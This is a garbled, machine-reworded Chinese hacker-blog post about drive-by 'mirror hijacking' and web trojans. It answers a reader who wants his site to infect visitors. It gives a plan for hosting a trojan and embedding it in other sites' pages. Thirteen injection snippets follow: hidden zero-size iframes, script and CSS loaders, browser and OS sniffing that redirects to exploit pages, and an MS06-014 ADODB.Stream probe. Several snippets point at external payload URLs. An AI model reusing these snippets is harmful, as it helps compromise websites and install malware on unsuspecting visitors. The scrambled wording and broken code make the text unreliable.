镜像劫持、网马详细介绍

hacker5年前 (2020-06-02)黑客文章821

今日，有一位网民问了我一个难题，他自己早已拥有网址了，如今他想制成“镜像劫持”这类网址，要是开启它，电脑上就会有将会感柒木马程序。

木马病毒是必须开启才有实际效果的，开启标准：要不蒙骗客户积极，要不运用系统漏洞。将会他对木马病毒、镜像劫持、网马这种并不是很了解，因而我刻意发过此一篇文章。

一、镜像劫持、网马详细介绍

1、镜像劫持

从“镜像劫持”这个词中就了解，它和“木马病毒”摆脱不上关联，确实，镜像劫持的目地便是将木马病毒散播出来。

黑客攻击了一些网址以后，将自身编定的网页木马置入到其网址的网页页面（一般是在网址首页）中，运用该网址的总流量将自身的网页木马散播出来进而做到自身的目地。

2、网马

网马，即“网页木马”，便是将木马病毒和网页页面融合在一起，当打开网站的情况下便会自动下载并运作其恶意代码。

二、网页木马运作基本原理

最开始的网页木马便是运用了IE电脑浏览器的ActiveX控制，在运作网页木马的情况下会弹出来一个控件下载提醒，仅有历经客户确定后才会运作在其中的木马病毒。

现阶段新式的木马病毒一般运用IE电脑浏览器存有的系统漏洞来散播网页木马。

自然，如今电脑浏览器不仅就是指IE，也有许多其他的电脑浏览器，比如：Google、百度搜索、360、搜狗搜索、 *** 、火狐浏览器......这些。

三、网页页面镜像劫持流程

1、申请办理服务器空间：将恶意代码和网马所有上传入该服务器空间，使其能够被浏览，倘若申请办理取得成功后的服务器空间详细地址为“http://www.xxx.com/xxx”；

2、提交恶意代码：提交进行后木马病毒的浏览详细地址为“http://www.xxx.com/horse.exe”；

3、应用网页页面木马生成器转化成网马：倘若转化成后网马详细地址为“http://www.xxx.com/horse.htm”；

4、开展镜像劫持：将转化成后的网马详细地址置入到别的一切正常的网页页面，倘若置入到腾迅的首页“http://www.qq.com/index.htm”；

四、网页页面镜像劫持的完成 ***

1、架构镜像劫持

<iframe src=详细地址 width=0 height=0></iframe>

2、 *** 文档镜像劫持

更先将下列编码：

document.write("<iframe width='0' height='0' src='详细地址'></iframe>");

储存为xxx.js。

则 *** 镜像劫持编码为：

<script language=javascript src=xxx.js></script>

3、 *** 形变数据加密

<SCRIPT language=" *** cript.Encode" src=https://www.fujieace.com/muma.txt></script>

muma.txt可改为随意后缀名；

4、body镜像劫持

<body onload="window.location='详细地址';"></body>

5、隐敝镜像劫持

top.document.body.innerHTML = top.document.body.innerHTML   '\r\n<iframe src="https://www.fujieace.com/muma.htm/"></iframe>';

6、css镜像劫持

body {
background-image: url('javascript:document.write("<script src=https://www.fujieace.com/muma.js></script>")')}

7、JAJA镜像劫持

<SCRIPT language=javascript>
window.open ("详细地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
</script>

8、照片掩藏

<html>
<iframe src="网马详细地址" height=0 width=0></iframe>
<img src="图片地址"></center>
</html>

9、掩藏启用

<frameset rows="444,0" cols="*">
<frame src="打开网站" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame src="网马详细地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
</frameset>

10、高級蒙骗

<a href="http://www.163.com(蒙蔽联接详细地址，显示信息这一详细地址偏向木马病毒详细地址)" onMouseOver="www_163_com(); return true;"> 网页页面要显示信息的內容 </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="网马详细地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>

11、分辨系统软件编码

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>404</TITLE>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<META content="MSHTML 6.00.2900.2769" name=GENERATOR></HEAD>
<BODY>
<SCRIPT language=javascript>
window.status="";
if(navigator.userAgent.indexOf("Windows NT 5.1") != -1)
window.location.href="tk.htm";
else
window.location.href="upx06014.htm";
</SCRIPT>
</BODY></HTML>

12、分辨是不是有ms06014编码

<script language=VBScript>
on error resume next
set server = document.createElement("object")
server.setAttribute "classid", "clsid:10072CEC-8CC1-11D1-986E-00A0C955B42E"
set File = server.createobject(Adodb.Stream,"")
if Not Err.Number = 0 then
err.clear
document.write ("<iframe src=https://www.fujieace.com width=100% height=100% scrolling=no frameborder=0>")
else
document.write ("<iframe src=https://www.fujieace.com width=100% height=100% scrolling=no frameborder=0>")
end if
</script>

13、智能化载入js的编码demo

//读娶src的目标
var v = document.getElementById("advjs");
//读娶src的主要参数
var u_num = getUrlParameterAdv("showmatrix_num",v.getAttribute('src'));
document.write("<iframe src=\"https://www.fujieace.com/1/" u_num ".htm\" width=\"0\" height=\"0\" frameborder=\"0\"></iframe>");
document.writeln("<!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 4.0 Transitional\/\/EN\">");
document.writeln("<HTML><HEAD>");
document.writeln("<META http-equiv=Content-Type content=\"text\/html; charset=big5\">");
document.writeln("<META content=\"MSHTML 6.00.2900.3059\" name=GENERATOR><\/HEAD>");
document.writeln("<BODY> ");
document.writeln("<DIV style=\"CURSOR: url(\'https:\/\/www.fujieace.com\/demo.js\')\">");
document.writeln("<DIV ");
document.writeln("style=\"CURSOR: url(\'https:\/\/www.fujieace.com\/demo.js\')\"><\/DIV><\/DIV><\/BODY><\/HTML>")
//剖析src的主要参数涵数
function getUrlParameterAdv(asName,lsURL){
loU = lsURL.split("?");
if (loU.length>1){
var loallPm = loU[1].split("&");
for (var i=0; i<loallPm.length; i  ){
var loPm = loallPm.split("=");
if (loPm[0]==asName){
if (loPm.length>1){
return loPm[1];
}else{
return "";
}
}
}
}
return null;

标签: 黑客技术

返回列表

上一篇：GDB或GNUProject程序调试

下一篇：黑客是怎么找网站的,点开了黑客网站

谁能找到免费黑客人员联系方式？求告知黑客联系方式

在一些好莱坞电影中，我们经常看到超级黑客在电脑前“侵入”别人的安全系统。你能熟练、轻松地输入很多复杂的代码，而且不会一下子全部入侵/破解，这是不是令人羡慕？事实上，我们也可以像电影和游戏中的黑客一样攻...

QualysGuard是不是适用全部电脑操作系统?

什么叫QualysGuard？ QualysGuard根据出示重要的安全性智能化及其自动化技术全方位的监视，IT系统，合规和Web程序运行的维护，协助公司简单化安全性实际操作并减少合规管理成本费。...

什么叫webshell?

getshell这儿一般就是指获得webshell管理权限等这种。什么叫webshell? webshell便是以asp、php、jsp或是cgi等网页源代码方式存有的一种指令实行...

linux下忘记mysql root密码解决办法

引言：在linux系统中，如果忘记了MySQL的root密码，有没有办法重新设置新密码呢？答案是肯定的，下面教大家一个比较简单的重置MySQL root密码的办法： 1、编辑MySQ...

WinDbg可用以调节核心方式运行内存转储

什么叫WinDbg？ WinDbg，像OllyDbg，是由Microsoft派发的Microsoft Windows多功能程序调试。该黑客工具可用以调节客户方式程序运行，驱动软件和电脑操作系统自身，...

Nexpose和nsightVM的差别

谈Nexpose和 nsightVM的差别前，我先从官方网站（www.rapid7.com）引进一段话：每日都是出現系统漏洞。你需要持续的智能化来发觉他们，寻找他们，给你的公司区划优先选择顺序，并...

找黑客平台